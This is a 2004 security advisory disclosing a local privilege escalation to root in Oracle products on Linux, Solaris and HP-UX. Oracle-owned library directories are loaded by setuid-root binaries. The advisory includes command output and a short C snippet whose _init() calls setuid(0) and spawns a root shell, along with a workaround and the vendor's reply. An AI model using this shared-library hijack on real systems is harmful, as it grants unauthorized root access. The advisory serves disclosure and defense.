OPEN3S - Local Privilege Elevation through Oracle products (Unix Platform)
*----------========== OPEN3S-2004-10-05-eng-oracle-so-libraries
==========----------
*
* Title:* Local Vulnerability in Oracle Products. RDBMS, IAs, etc
*All Versions*. (10g not tested)
* Date:* 10-05-2004
* Platform:* Tested in Linux, Solaris & HP-UX but can be exported to others.
* Impact:* Privilege elevation from oracle products installation owner
(usually called oracle or ias ) to root.
* Author:* Juan Manuel Pascual Escriba <mailto:jmpascual@xxxxxxxxxx>
* Status:* Vendor contacted details below.
*INTRODUCTION:*
Oracle Corporation (nasdaqNM - ORCL) is a world leading database software developer,
claiming to develop an unbreakable software. It's products are targeted in database,
application server and data mining market.
*PROBLEM SUMMARY:*
This software version
- Oracle 8i Linux Platform
- Oracle 9i Linux Platform
- Oracle 8i HP-UX Platform
- Oracle 9i Solaris Platform
- Oracle IAS 9.0.2.0.1 with patchset v9.0.2.3
- All versions tested in Unix platform (Universal?¿)
are suitable to privilege elevation from oracle software owner ( normally
oracle,ias,
iasr2) to root.
*DESCRIPTION*
Oracle Libraries are installed owned by oracle in a default installation of the products
commented above.
[pask@dimoniet home]$ ls -alc /export/home/iasr2/ora9ias_mid
...
drwxr-xr-x 3 iasr2 dba 512 Nov 21 14:04 lbs
drwxr-xr-x 15 iasr2 dba 512 Jan 7 12:13 ldap
drwxr-xr-x 3 iasr2 dba 12800 Nov 21 11:22 lib
drwxr-xr-x 13 iasr2 dba 512 Nov 21 14:04 network
drwxr-xr-x 3 iasr2 dba 512 Nov 21 14:04 ocommon
...
As you can see, the lib directory owner is iasr2, let's look for some setuid
binaries
[pask@dimoniet ora9ias_mid]$ find ./ -perm +4000
./bin/dbsnmp
./bin/nmo
[iasr2@dimoniet ora9ias_mid]$ ls -alc ./bin/dbsnmp
-rwsr-s--- 1 root dba 2900980 Nov 21 14:04 ./bin/dbsnmp
[iasr2@dimoniet ora9ias_mid]$ ls -alc ./bin/nmo
-rwsr-s--- 1 root dba 12632 Nov 21 14:04 ./bin/nmo
And now, just could see the shared objects that the binaries depends.
[iasr2@dimoniet ora9ias_mid]$ ldd ./bin/dbsnmp
libvppdc.so => /export/home/iasr2/ora9ias_mid/lib/libvppdc.so
libclntsh.so.9.0 =>
/export/home/iasr2/ora9ias_mid/lib/libclntsh.so.9.0
libwtc9.so => /export/home/iasr2/ora9ias_mid/lib//libwtc9.so
libthread.so.1 => /usr/lib/libthread.so.1
libkstat.so.1 => /usr/lib/libkstat.so.1
....
[iasr2@dimoniet ora9ias_mid]$ ldd ./bin/nmo
libnsl.so.1 => /usr/lib/libnsl.so.1
libsocket.so.1 => /usr/lib/libsocket.so.1
libgen.so.1 => /usr/lib/libgen.so.1
.....
ups, it's not posible to achieve root privileges with this binary and by this
way
For iasr2 user is too easy to create a so.lib, something like
#include
#include
_init() {
printf("en el _init()\n");
printf("Con PID=%i y EUID=%i",getpid(),getuid());
setuid(0);
system("/usr/bin/ksh");
printf("Saliendo del Init()\n");
}
*IMPACT*
oracle,ias,iasr2 or iasdb users with local access can gain root privileges through
oracle installation
*EXPLOIT*
commented above.
*WORKAROUND*
chown to root lib directory and parent directory.
*STATUS*
Oracle Security Alerts explains in an email sent 26/07/2004 that
"Oracle believes that
only trusted users should have access to the local iasdb user account".
I have no information about a patch or a solution from Oracle Corp.
--------------------------------------------------
This vulnerability was researched by:
Juan Manuel Pascual Escriba jmpascual@xxxxxxxxxx
Barcelona - Denia - Spain http://www.open3s.com